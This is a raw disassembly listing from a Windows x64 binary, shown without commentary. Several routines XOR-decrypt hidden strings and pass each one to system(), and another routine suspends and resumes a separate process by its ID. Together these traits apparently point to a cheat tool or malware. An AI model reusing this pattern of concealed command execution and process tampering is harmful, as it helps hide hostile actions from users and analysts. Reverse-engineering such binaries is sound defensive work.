movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140062870
cmp r8d, 0x14
jge 0x1400629c4
movsxd rax, r8d
lea r9, [rbp + 0x898]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140062990
lea rdx, [0x1401f0170]
lea rcx, [rbp + 0x898]
call fcn.140035ce0
test al, al
je 0x14006372e
cmp byte [0x1401f0170], r13b
je 0x14006372e
cmp byte [0x140173cdd], r13b
movups xmm0, xmmword [0x140173cc0]
mov eax, dword [0x140173cd8]
mov dword [rbp + 0x7ca], eax
movzx eax, word [0x140173cdc]
movups xmmword [rbp + 0x7b2], xmm0
mov word [rbp + 0x7ce], ax
movsd xmm0, qword [0x140173cd0]
movsd qword [rbp + 0x7c2], xmm0
je 0x140062bc4
mov r8d, r13d
cmp r15d, 2
jl 0x140062b7f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x7b6]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140062a70
cmp r8d, 0x1e
jge 0x140062bc4
movsxd rax, r8d
lea r9, [rbp + 0x7b2]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140062b90
lea rcx, [rbp + 0x7b2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140173a20]
mov r8d, r13d
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x140173a24]
mov word [rbp + 0x2f4], ax
movzx eax, byte [0x140173a26]
mov byte [rbp + 0x2f6], al
movups xmm0, xmmword [str.LXIPWTRS_n_ck_g_n__._9____6_0V]
movups xmmword [rbp + 0x2d8], xmm0
movsd xmm0, qword [0x140173a18]
movsd qword [rbp + 0x2e8], xmm0
cmp r15d, 2
jl 0x140062d6f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x2dc]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140062c60
cmp r8d, 0x1f
jge 0x140062db4
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x140062d80
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140173e88]
mov r8d, r13d
mov dword [rbp + 0x30f], eax
movzx eax, byte [0x140173e8c]
mov byte [rbp + 0x313], al
movups xmm0, xmmword [str.LXIPWTRS_n_ck_g]
movups xmmword [rbp + 0x2f7], xmm0
movsd xmm0, qword [0x140173e80]
movsd qword [rbp + 0x307], xmm0
cmp r15d, 2
jl 0x140062f4f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x2fb]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140062e40
cmp r8d, 0x1d
jge 0x140062f94
movsxd rax, r8d
lea r9, [rbp + 0x2f7]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140062f60
lea rcx, [rbp + 0x2f7]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x140173798]
mov r8d, r13d
mov word [rbp + 0x511], ax
movzx eax, byte [0x14017379a]
mov byte [rbp + 0x513], al
movups xmm1, xmmword [0x140173788]
movups xmm0, xmmword [0x140173778]
movups xmmword [rbp + 0x501], xmm1
movups xmmword [rbp + 0x4f1], xmm0
cmp r15d, 2
jl 0x14006312f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x4f5]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140063020
cmp r8d, 0x23
jge 0x140063174
movsxd rax, r8d
lea r9, [rbp + 0x4f1]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140063140
lea rcx, [rbp + 0x4f1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x140173880]
mov r8d, r13d
mov word [rbp + 0x5e0], ax
movzx eax, byte [0x140173882]
mov byte [rbp + 0x5e2], al
movups xmm1, xmmword [0x140173870]
movups xmm0, xmmword [0x140173860]
movups xmmword [rbp + 0x5d0], xmm1
movups xmmword [rbp + 0x5c0], xmm0
cmp r15d, 2
jl 0x14006330f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x5c4]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140063200
cmp r8d, 0x23
jge 0x140063354
movsxd rax, r8d
lea r9, [rbp + 0x5c0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140063320
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r13b
movups xmm0, xmmword [0x140173ce0]
movups xmmword [rbp + 0x6fd], xmm0
movsd xmm0, qword [0x140173cf0]
movsd qword [rbp + 0x70d], xmm0
je 0x140063524
cmp r15d, 2
jl 0x1400634d9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x701]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x1400633d0
jmp 0x140063524
lea r9, [rbp + 0x6fd]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400634f0
lea rcx, [rbp + 0x6fd]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x140173a00]
mov r8d, r13d
mov word [rbp + 0x134], ax
movzx eax, byte [0x140173a02]
mov byte [rbp + 0x136], al
movups xmm0, xmmword [str.TOW_IQM_b]
movups xmmword [rbp + 0x11c], xmm0
movsd xmm0, qword [0x1401739f8]
movsd qword [rbp + 0x12c], xmm0
cmp r15d, 2
jl 0x1400636bf
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x120]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x1400635b0
cmp r8d, 0x1b
jge 0x140063704
movsxd rax, r8d
lea r9, [rbp + 0x11c]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x1400636d0
lea rax, [rbp + 0x11c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140063712
lea rdx, [rbp + 0x11c]
lea rcx, [0x1401b92c0]
call fcn.140042c70
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
jne 0x140063757
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
movzx eax, byte [0x140173618]
mov r8d, r13d
mov byte [rbp + 0x324], al
movups xmm0, xmmword [str.kLIKYSZ]
movups xmmword [rbp + 0x314], xmm0
cmp r15d, 2
jl 0x1400638bf
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x318]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400637b0
cmp r8d, 0x11
jge 0x140063904
movsxd rax, r8d
lea r9, [rbp + 0x314]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400638d0
lea rdx, [0x1401f0150]
lea rcx, [rbp + 0x314]
call fcn.140035ce0
test al, al
je 0x140063970
mov r8d, dword [0x1401db480]
xor edx, edx
mov ecx, 0xc00
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140063970
cmp byte [0x1401ba20b], r13b
mov rcx, rax
jne 0x140063956
call qword [sym.imp.ntdll.dll_NtSuspendProcess]
test eax, eax
jne 0x140063967
mov byte [0x1401ba20b], 1
jmp 0x140063967
call qword [sym.imp.ntdll.dll_NtResumeProcess]
test eax, eax
jne 0x140063967
mov byte [0x1401ba20b], r13b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
jne 0x140063999
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
call fcn.14000c5a0
call fcn.140016b30
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
addss xmm0, dword [0x140174170]
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rcx + 0x3830]
mulss xmm0, xmm9
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x248]
mulss xmm2, xmm9
addss xmm2, dword [0x140174180]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
subss xmm1, xmm0
subss xmm2, xmm13
cmp qword [rax + 0x1a0], r13
jne 0x140063a4f
cmp qword [rcx + 0x4b28], r13
je 0x140063a5b
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
cmp byte [0x140173c55], r13b
movss xmm0, dword [rcx + 0x382c]
mov eax, dword [0x140173c50]
mulss xmm0, xmm9
mov dword [rbp + 0x19f], eax
movzx eax, word [0x140173c54]
mulss xmm1, xmm9
mov word [rbp + 0x1a3], ax
movss dword [rbp + 0x3f4], xmm2
subss xmm1, xmm0
movsd xmm0, qword [str.vvtn]
movsd qword [rbp + 0x197], xmm0
subss xmm1, dword [0x14017415c]
movss dword [rbp + 0x3f0], xmm1
je 0x140063c24
mov r8d, r13d
cmp r15d, 2
jl 0x140063bdd
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vvtn]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x197], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x19b]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19b], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x197]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140063bf0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x197]
call fcn.14000c490
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
